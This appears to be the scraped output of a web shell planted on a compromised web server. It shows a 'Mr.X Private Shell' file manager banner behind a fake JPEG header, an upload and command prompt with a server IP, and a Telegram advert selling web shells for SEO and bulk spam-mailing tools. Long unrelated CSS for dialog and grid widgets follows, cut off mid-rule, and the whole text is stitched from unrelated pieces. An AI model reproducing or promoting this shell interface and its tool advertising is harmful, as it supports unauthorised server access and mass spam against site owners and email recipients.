xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
@-webkit-keyframes ngdialog-fadeout {
    0% {
        opacity: 1;
    }

    100% {
        opacity: 0;
    }
}

@keyframes ngdialog-fadeout {
    0% {
        opacity: 1;
    }

    100% {
        opacity: 0;
    }
}

@-webkit-keyframes ngdialog-fadein {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 1;
    }
}

@keyframes ngdialog-fadein {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 1;
    }
}

.ngdialog {
    box-sizing: border-box;
}

.ngdialog *,
.ngdialog *:before,
.ngdialog *:after {
    box-sizing: inherit;
}

.ngdialog {
    position: fixed;
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    z-index: 10000;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
}

.ngdialog.ngdialog-disabled-animation,
.ngdialog.ngdialog-disabled-animation .ngdialog-overlay,
.ngdialog.ngdialog-disabled-animation .ngdialog-content {
    -webkit-animation: none!important;
    animation: none!important;
}

.ngdialog-overlay {
    position: fixed;
    background: rgba(0, 0, 0, 0.4);
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    -webkit-backface-visibility: hidden;
    -webkit-animation: ngdialog-fadein-overlay 0.5s;
    animation: ngdialog-fadein-overlay 0.5s;
}

.ngdialog-no-overlay {
    pointer-events: none;
}

.ngdialog.ngdialog-closing .ngdialog-overlay {
    -webkit-backface-visibility: hidden;
    -webkit-animation: ngdialog-fadeout-overlay 0.5s;
    animation: ngdialog-fadeout-overlay 0.5s;
}

.ngdialog-content {
    background: white;
    -webkit-backface-visibility: hidden;
    -webkit-animation: ngdialog-fadein 0.5s;
    animation: ngdialog-fadein 0.5s;
    pointer-events: all;
}

.ngdialog.ngdialog-closing .ngdialog-content {
    -webkit-backface-visibility: hidden;
    -webkit-animation: ngdialog-fadeout 0.5s;
    animation: ngdialog-fadeout 0.5s;
}

.ngdialog-close:before {
    font-family: 'Helvetica', Arial, sans-serif;
    content: '\00D7';
    cursor: pointer;
}

html.ngdialog-open,
body.ngdialog-open {
    overflow: hidden;
}
input[type=range] {
    width: 300px;
}

ul[rn-carousel] {
    overflow: hidden;
    padding: 0;
    white-space: nowrap;
    position: relative;
    -webkit-perspective: 1000px;
    -ms-perspective: 1000px;
    perspective: 1000px;
    -ms-touch-action: pan-y;
    touch-action: pan-y;
}

ul[rn-carousel] > li {
    color: black;
    -webkit-backface-visibility: hidden;
    -ms-backface-visibility: hidden;
    backface-visibility: hidden;
    overflow: visible;
    vertical-align: top;
    position: absolute;
    left: 0;
    right: 0;
    white-space: normal;
    padding: 0;
    margin: 0;
    list-style-type: none;
    width: 100%;
    height: 100%;
    display: inline-block;
}

/* prevent flickering when moving buffer */
ul[rn-carousel-buffered] > li {
    display: none;
}

ul[rn-carousel-transition="hexagon"] {
    overflow: visible;
}

/* indicators */
div.rn-carousel-indicator span {
    cursor: pointer;
    color: #666;
}

div.rn-carousel-indicator span.active {
    color: white;
}

/* prev/next controls */
.rn-carousel-control {
    -webkit-transition: opacity 0.2s ease-out;
    transition: opacity 0.2s ease-out;
    font-size: 2rem;
    position: absolute;
    top: 40%;
    opacity: 0.75;
    cursor: pointer;
}

.rn-carousel-control:hover {
    opacity: 1;
}

.rn-carousel-control.rn-carousel-control-prev {
    left: 0.5em;
}

.rn-carousel-control.rn-carousel-control-prev:before {
    content: "<";
}

.rn-carousel-control.rn-carousel-control-next {
    right: 0.5em;
}

.rn-carousel-control.rn-carousel-control-next:before {
    content: ">";
}

@-webkit-keyframes ngdialog-flyin {
    0% {
        opacity: 0;
        -webkit-transform: translateY(-40px);
        transform: translateY(-40px);
    }

    100% {
        opacity: 1;
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }
}

@keyframes ngdialog-flyin {
    0% {
        opacity: 0;
        -webkit-transform: translateY(-40px);
        transform: translateY(-40px);
    }

    100% {
        opacity: 1;
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }
}

@-webkit-keyframes ngdialog-flyout {
    0% {
        opacity: 1;
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }

    100% {
        opacity: 0;
        -webkit-transform: translateY(-40px);
        transform: translateY(-40px);
    }
}

@keyframes ngdialog-flyout {
    0% {
        opacity: 1;
        -webkit-transform: translateY(0);
        transform: translateY(0);
    }

    100% {
        opacity: 0;
        -webkit-transform: translateY(-40px);
        transform: translateY(-40px);
    }
}

.ngdialog.ngdialog-theme-default {
    padding-bottom: 160px;
    padding-top: 140px;
}

.ngdialog.ngdialog-theme-default.ngdialog-closing .ngdialog-content {
    -webkit-animation: ngdialog-flyout .5s;
    animation: ngdialog-flyout .5s;
}

.ngdialog.ngdialog-theme-default .ngdialog-content {
    -webkit-animation: ngdialog-flyin .5s;
    animation: ngdialog-flyin .5s;
    background: #fcfcfc;
  /* border-radius: 5px; */
    color: #444;
    font-family: 'Open Sans', sans-serif;
  /*font-size: 1.1em;*/
    line-height: 1.5em;
    margin: 0 auto;
  /* max-width: 100%; */
  /* padding: 1em; */
    position: relative;
    width: 650px;
    box-shadow: 1px 1px 10px rgba(0, 0, 0, 0.2);
}

.ngdialog.ngdialog-theme-default .ngdialog-content label {
	font-weight: bold;
	line-height: 18px;
	font-size: 13px;
}

.ngdialog.ngdialog-theme-default .ngdialog-content label.checkbox {
    font-weight: normal;
    margin-left: 5px;
    vertical-align: middle;
}

.ngdialog.ngdialog-theme-default .ngdialog-close {
    border-radius: 5px;
    cursor: pointer;
    position: absolute;
    right: 0;
    top: 0;
}

.ngdialog.ngdialog-theme-default .ngdialog-close:before {
    background: transparent;
    border-radius: 3px;
    color: #bbb;
    content: '\00D7';
    font-size: 26px;
    font-weight: 400;
    height: 30px;
    line-height: 26px;
    position: absolute;
    right: 3px;
    text-align: center;
    top: 3px;
    width: 30px;
}

.ngdialog.ngdialog-theme-blue .ngdialog-close:before {
    background: transparent;
    border-radius: 3px;
    color: #fff;
    content: '\00D7';
    font-size: 26px;
    font-weight: 400;
    height: 30px;
    line-height: 26px;
    position: absolute;
    right: 3px;
    text-align: center;
    top: 9px;
    width: 30px;
}
.ngdialog.ngdialog-theme-blue  .ngdialog.ngdialog-theme-default .ngdialog-close:hover:before, 
.ngdialog.ngdialog-theme-blue  .ngdialog.ngdialog-theme-default .ngdialog-close:active:before {
    color: rgba(255, 255, 255, 0.88);
}

.ngdialog .ui-grid-table-wrap {
    max-height: 350px;
    overflow-y: auto ;
}

.ngdialog.ngdialog-theme-default .ngdialog-close:hover:before,
.ngdialog.ngdialog-theme-default .ngdialog-close:active:before {
    color: #777;
}

.ngdialog.ngdialog-theme-default .ngdialog-message {
    margin-bottom: .5em;
}

.ngdialog.ngdialog-theme-default .ngdialog-input {
    margin-bottom: 1em;
}

.ngdialog.ngdialog-theme-default .ngdialog-input textarea,
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="text"],
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="password"],
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="email"],
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="url"] {
    background: #fff;
    border: 0;
    border-radius: 3px;
    font-family: inherit;
    font-size: inherit;
    font-weight: inherit;
    margin: 0 0 .25em;
    min-height: 2.5em;
    padding: .25em .67em;
    width: 100%;
}

.ngdialog.ngdialog-theme-default .ngdialog-input textarea:focus,
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="text"]:focus,
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="password"]:focus,
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="email"]:focus,
.ngdialog.ngdialog-theme-default .ngdialog-input input[type="url"]:focus {
    box-shadow: inset 0 0 0 2px #8dbdf1;
    outline: none;
}

.ngdialog.ngdialog-theme-default .ngdialog-buttons {
    *zoom: 1;
}

.ngdialog.ngdialog-theme-default .ngdialog-buttons:after {
    content: '';
    display: table;
    clear: both;
}

.ngdialog.ngdialog-theme-default .ngdialog-button {
    border: 0;
    border-radius: 3px;
    cursor: pointer;
    float: right;
    font-family: inherit;
    font-size: .8em;
    letter-spacing: .1em;
    line-height: 1em;
    margin: 0 0 0 .5em;
    padding: .75em 2em;
    text-transform: uppercase;
}

.ngdialog.ngdialog-theme-default .ngdialog-button:focus {
    -webkit-animation: ngdialog-pulse 1.1s infinite;
    animation: ngdialog-pulse 1.1s infinite;
    outline: none;
}

@media (max-width: 568px) {
    .ngdialog.ngdialog-theme-default .ngdialog-button:focus {
        -webkit-animation: none;
        animation: none;
    }
}

.ngdialog.ngdialog-theme-default .ngdialog-button.ngdialog-button-primary {
    background: #3288e6;
    color: #fff;
}

.ngdialog.ngdialog-theme-default .ngdialog-button.ngdialog-button-secondary {
    background: #e0e0e0;
    color: #777;
}


/* ZEND */
.ngdialog.ngdialog-theme-plain.custom-width .ngdialog-content {
    width: 150px;
}

.ngdialog-overlay {
    background-color: #000000;
    background-position: center center;
    background-repeat: no-repeat;
    background: -webkit-gradient(radial, center center, 0, center center, 460, from(#ffffff), to(#291a49));
    background: -webkit-radial-gradient(circle, #ffffff, #291a49);
    opacity: 0.6;
}

@-webkit-keyframes ngdialog-fadeout-overlay {
    0% {
        opacity: 0.6;
    }

    100% {
        opacity: 0;
    }
}

@keyframes ngdialog-fadeout-overlay {
    0% {
        opacity: 0.6;
    }

    100% {
        opacity: 0;
    }
}

@-webkit-keyframes ngdialog-fadein-overlay {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 0.6;
    }
}

@keyframes ngdialog-fadein-overlay {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 0.6;
    }
}

.ngdialog footer .buttons-right {
    float: right;
    /* height: 40px; */
    /* clear: both; */
}

/* Content Styling */
.ngdialog footer {
    background: #2774A0;
    padding: 7px;
}

.ngdialog-content .form-invalid-warning {
    color: #BF0000;
    font-style: italic;
    display: block;
}

body[disable-ngdialog-close="true"] .ngdialog-close {
    display: none;
}

.ngdialog.ngdialog-theme-default.ngdialog-videbox .ngdialog-content {
    width: 600px;
}

.ngdialog.ngdialog-theme-default.ngdialog-plugin-modal .ngdialog-content {
    width: 770px;
    max-width: 770px;
    
}

.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content {
    width: 815px;
 /* as today */
    box-sizing: content-box;
}

.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #authentication-settings-box,
.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #deploymentWizard,
.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #selective-access-box {
        height: 452px;
	overflow: hidden;
	width: 860px;
}
.ssl-error-text{
    float: right;
    width: 95%;
}
.ssl-error-icon{
    float: left;
    width: 5%;
    margin-top: 3px;
}
.vhost-validation-error-ssl{
    display: block;
    overflow: hidden;
    padding-left: 0px !important;
}
.vhost-validation-error-ssl{
}
#vhost-ssl-continue-checkbox-label{
    float: right;
    width: 94%;
}
.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #authentication-settings-box .wizard-help-icon,
.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #deploymentWizard .wizard-help-icon,
.ngdialog.ngdialog-theme-default.ngdialog-wizard .ngdialog-content #selective-access-box .wizard-help-icon {
	right: 0;
}

.ngdialog.ngdialog-theme-default.ngdialog-tiny .ngdialog-content {
    width: 300px;
}

.ngdialog.ngdialog-theme-default.ngdialog-small .ngdialog-content {
    width: 500px;
}

.ngdialog.ngdialog-theme-default .ngdialog-content .content-padded {
    padding: 10px 20px;
}

.ngdialog-content footer {
    /* min-height: 30px; */
}

.buttons-left {
    min-height: 22px;
    display: inline-block;
}

.ngdialog.ngdialog-theme-default.ngdialog-plugin-modal {
    padding-top: 60px;
}

.modal-loader {
    text-align: center;
    padding: 50px;
}

.ngdialog input:focus,
.ngdialog select:focus {
    box-shadow: 0px 0px 4px rgba(39, 116, 160, 0.5);
}

.wizard.wizard-page.vhost-wizard{
height: 460px !important;
}

.wizard.wizard-page.vhost-wizard .page-wrapper.vhost-properties {
  height: 440px;
  padding:0px;
}
.markdown-wrapper img{
    max-width: 100%;
}
/*!
 * ui-grid - v4.0.2 - 2016-12-30
 * Copyright (c) 2016 ; License: MIT 
 */#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:before,#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:before,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:before,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{content:" ";display:table}#ui-grid-twbs #ui-grid-twbs .form-horizontal .form-group:after,#ui-grid-twbs #ui-grid-twbs .btn-toolbar:after,#ui-grid-twbs #ui-grid-twbs .btn-group-vertical>.btn-group:after{clear:both}.ui-grid{border:1px solid #d4d4d4;box-sizing:content-box;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-transform:translateZ(0);-moz-transform:translateZ(0);-o-transform:translateZ(0);-ms-transform:translateZ(0);transform:translateZ(0)}.ui-grid-vertical-bar{position:absolute;right:0;width:0}.ui-grid-header-cell:not(:last-child) .ui-grid-vertical-bar,.ui-grid-cell:not(:last-child) .ui-grid-vertical-bar{width:1px}.ui-grid-scrollbar-placeholder{background-color:transparent}.ui-grid-header-cell:not(:last-child) .ui-grid-vertical-bar{background-color:#d4d4d4}.ui-grid-cell:not(:last-child) .ui-grid-vertical-bar{background-color:#d4d4d4}.ui-grid-header-cell:last-child .ui-grid-vertical-bar{right:-1px;width:1px;background-color:#d4d4d4}.ui-grid-clearfix:before,.ui-grid-clearfix:after{content:"";display:table}.ui-grid-clearfix:after{clear:both}.ui-grid-invisible{visibility:hidden}.ui-grid-contents-wrapper{position:relative;height:100%;width:100%}.ui-grid-sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.ui-grid-top-panel-background{background:#f3f3f3;background:-webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(1, #fff));background:-ms-linear-gradient(bottom, #eee, #fff);background:-moz-linear-gradient(center bottom, #eee 0, #fff 100%);background:-o-linear-gradient(#fff, #eee);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0)}.ui-grid-header{border-bottom:1px solid #d4d4d4;box-sizing:border-box}.ui-grid-top-panel{position:relative;overflow:hidden;font-weight:bold;background:#f3f3f3;background:-webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(1, #fff));background:-ms-linear-gradient(bottom, #eee, #fff);background:-moz-linear-gradient(center bottom, #eee 0, #fff 100%);background:-o-linear-gradient(#fff, #eee);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);-webkit-border-top-right-radius:-1px;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:-1px;-moz-border-radius-topright:-1px;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:-1px;border-top-right-radius:-1px;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:-1px;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}.ui-grid-header-viewport{overflow:hidden}.ui-grid-header-canvas:before,.ui-grid-header-canvas:after{content:"";display:table;line-height:0}.ui-grid-header-canvas:after{clear:both}.ui-grid-header-cell-wrapper{position:relative;display:table;box-sizing:border-box;height:100%}.ui-grid-header-cell-row{display:table-row;position:relative}.ui-grid-header-cell{position:relative;box-sizing:border-box;background-color:inherit;border-right:1px solid;border-color:#d4d4d4;display:table-cell;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:0}.ui-grid-header-cell:last-child{border-right:0}.ui-grid-header-cell .sortable{cursor:pointer}.ui-grid-header-cell .ui-grid-sort-priority-number{margin-left:-8px}.ui-grid-header .ui-grid-vertical-bar{top:0;bottom:0}.ui-grid-column-menu-button{position:absolute;right:1px;top:0}.ui-grid-column-menu-button .ui-grid-icon-angle-down{vertical-align:sub}.ui-grid-column-menu-button-last-col{margin-right:25px}.ui-grid-column-menu{position:absolute}.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-add,.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove{-webkit-transition:all .05s linear;-moz-transition:all .05s linear;-o-transition:all .05s linear;transition:all .05s linear;display:block !important}.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-add.ng-hide-add-active,.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove{-webkit-transform:translateY(-100%);-moz-transform:translateY(-100%);-o-transform:translateY(-100%);-ms-transform:translateY(-100%);transform:translateY(-100%)}.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-add,.ui-grid-column-menu .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove.ng-hide-remove-active{-webkit-transform:translateY(0);-moz-transform:translateY(0);-o-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-add,.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove{-webkit-transition:all .05s linear;-moz-transition:all .05s linear;-o-transition:all .05s linear;transition:all .05s linear;display:block !important}.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-add.ng-hide-add-active,.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove{-webkit-transform:translateY(-100%);-moz-transform:translateY(-100%);-o-transform:translateY(-100%);-ms-transform:translateY(-100%);transform:translateY(-100%)}.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-add,.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid.ng-hide-remove.ng-hide-remove-active{-webkit-transform:translateY(0);-moz-transform:translateY(0);-o-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}.ui-grid-filter-container{padding:4px 10px;position:relative}.ui-grid-filter-container .ui-grid-filter-button{position:absolute;top:0;bottom:0;right:0}.ui-grid-filter-container .ui-grid-filter-button [class^="ui-grid-icon"]{position:absolute;top:50%;line-height:32px;margin-top:-16px;right:10px;opacity:.66}.ui-grid-filter-container .ui-grid-filter-button [class^="ui-grid-icon"]:hover{opacity:1}.ui-grid-filter-container .ui-grid-filter-button-select{position:absolute;top:0;bottom:0;right:0}.ui-grid-filter-container .ui-grid-filter-button-select [class^="ui-grid-icon"]{position:absolute;top:50%;line-height:32px;margin-top:-16px;right:0;opacity:.66}.ui-grid-filter-container .ui-grid-filter-button-select [class^="ui-grid-icon"]:hover{opacity:1}input[type="text"].ui-grid-filter-input{padding:0;margin:0;border:0;width:100%;border:1px solid #d4d4d4;-webkit-border-top-right-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:0;-moz-border-radius-topright:0;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:0;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}input[type="text"].ui-grid-filter-input:hover{border:1px solid #d4d4d4}select.ui-grid-filter-select{padding:0;margin:0;border:0;width:90%;border:1px solid #d4d4d4;-webkit-border-top-right-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:0;-moz-border-radius-topright:0;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:0;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}select.ui-grid-filter-select:hover{border:1px solid #d4d4d4}.ui-grid-filter-cancel-button-hidden select.ui-grid-filter-select{width:100%}.ui-grid-render-container{position:inherit;-webkit-border-top-right-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:0;-moz-border-radius-topright:0;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:0;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}.ui-grid-render-container:focus{outline:none}.ui-grid-viewport{min-height:20px;position:relative;overflow-y:scroll;-webkit-overflow-scrolling:touch}.ui-grid-viewport:focus{outline:none !important}.ui-grid-canvas{position:relative;padding-top:1px}.ui-grid-row{clear:both}.ui-grid-row:nth-child(odd) .ui-grid-cell{background-color:#fdfdfd}.ui-grid-row:nth-child(even) .ui-grid-cell{background-color:#f3f3f3}.ui-grid-row:last-child .ui-grid-cell{border-bottom-color:#d4d4d4;border-bottom-style:solid}.ui-grid-no-row-overlay{position:absolute;top:0;bottom:0;left:0;right:0;margin:10%;background:#f3f3f3;background:-webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(1, #fff));background:-ms-linear-gradient(bottom, #eee, #fff);background:-moz-linear-gradient(center bottom, #eee 0, #fff 100%);background:-o-linear-gradient(#fff, #eee);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);-webkit-border-top-right-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:0;-moz-border-radius-topright:0;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:0;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #d4d4d4;font-size:2em;text-align:center}.ui-grid-no-row-overlay>*{position:absolute;display:table;margin:auto 0;width:100%;top:0;bottom:0;left:0;right:0;opacity:.66}.ui-grid-cell{overflow:hidden;float:left;background-color:inherit;border-right:1px solid;border-color:#d4d4d4;box-sizing:border-box}.ui-grid-cell:last-child{border-right:0}.ui-grid-cell-contents{padding:5px;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;-ms-text-overflow:ellipsis;-o-text-overflow:ellipsis;text-overflow:ellipsis;overflow:hidden;height:100%}.ui-grid-cell-contents-hidden{visibility:hidden;width:0;height:0;display:none}.ui-grid-row .ui-grid-cell.ui-grid-row-header-cell{background-color:#f0f0ee;border-bottom:solid 1px #d4d4d4}.ui-grid-footer-panel-background{background:#f3f3f3;background:-webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(1, #fff));background:-ms-linear-gradient(bottom, #eee, #fff);background:-moz-linear-gradient(center bottom, #eee 0, #fff 100%);background:-o-linear-gradient(#fff, #eee);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0)}.ui-grid-footer-panel{position:relative;border-bottom:1px solid #d4d4d4;border-top:1px solid #d4d4d4;overflow:hidden;font-weight:bold;background:#f3f3f3;background:-webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(1, #fff));background:-ms-linear-gradient(bottom, #eee, #fff);background:-moz-linear-gradient(center bottom, #eee 0, #fff 100%);background:-o-linear-gradient(#fff, #eee);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);-webkit-border-top-right-radius:-1px;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:-1px;-moz-border-radius-topright:-1px;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:-1px;border-top-right-radius:-1px;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:-1px;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}.ui-grid-grid-footer{float:left;width:100%}.ui-grid-footer-viewport{overflow:hidden}.ui-grid-footer-canvas{position:relative}.ui-grid-footer-canvas:before,.ui-grid-footer-canvas:after{content:"";display:table;line-height:0}.ui-grid-footer-canvas:after{clear:both}.ui-grid-footer-cell-wrapper{position:relative;display:table;box-sizing:border-box;height:100%}.ui-grid-footer-cell-row{display:table-row}.ui-grid-footer-cell{overflow:hidden;background-color:inherit;border-right:1px solid;border-color:#d4d4d4;box-sizing:border-box;display:table-cell}.ui-grid-footer-cell:last-child{border-right:0}input[type="text"].ui-grid-filter-input{padding:0;margin:0;border:0;width:100%;border:1px solid #d4d4d4;-webkit-border-top-right-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-webkit-border-top-left-radius:0;-moz-border-radius-topright:0;-moz-border-radius-bottomright:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topleft:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;border-top-left-radius:0;-moz-background-clip:padding-box;-webkit-background-clip:padding-box;background-clip:padding-box}input[type="text"].ui-grid-filter-input:hover{border:1px solid #d4d4d4}.ui-grid-menu-button{z-index:2;position:absolute;right:0;top:0;background:#f3f3f3;border:1px solid #d4d4d4;cursor:pointer;height:31px;font-weight:normal}.ui-grid-menu-button .ui-grid-icon-container{margin-top:3px}.ui-grid-menu-button .ui-grid-menu{right:0}.ui-grid-menu-button .ui-grid-menu .ui-grid-menu-mid{overflow:scroll;border:1px solid #d4d4d4}.ui-grid-menu{z-index:2;position:absolute;padding:0 10px 20px 10px;cursor:pointer;box-sizing:border-box}.ui-grid-menu .ui-grid-menu-inner{background:#f3f3f3;border:1px solid #d4d4d4;position:relative;white-space:nowrap;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:0 10px 20px rgba(0, 0, 0, 0.2), inset 0 12px 12px -14px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 10px 20px rgba(0, 0, 0, 0.2), inset 0 12px 12px -14px rgba(0, 0, 0, 0.2);box-shadow:0 10px 20px rgba(0, 0, 0, 0.2), inset 0 12px 12px -14px rgba(0, 0, 0, 0.2)}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button{position:absolute;right:0;top:0;display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:14px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;padding:1px 1px;font-size:10px;line-height:1;border-radius:2px;color:transparent;background-color:transparent;border-color:transparent}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active.focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active.focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:hover,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.focus{color:#333;text-decoration:none}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:active,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.disabled,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button[disabled],fieldset[disabled] .ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button{cursor:not-allowed;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}a.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.disabled,fieldset[disabled] a.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button{pointer-events:none}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:focus,.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button.focus{color:transparent;background-color:rgba(0,0,0,0);border-color:rgba(0,0,0,0)}.ui-grid-menu .ui-grid-menu-inner .ui-grid-menu-close-button:hover{color:transparent;background-color:rgba(0,0,0,0);border-color:rgba(0,0,0,0)}.ui-grid-menu .ui-grid-menu-inner 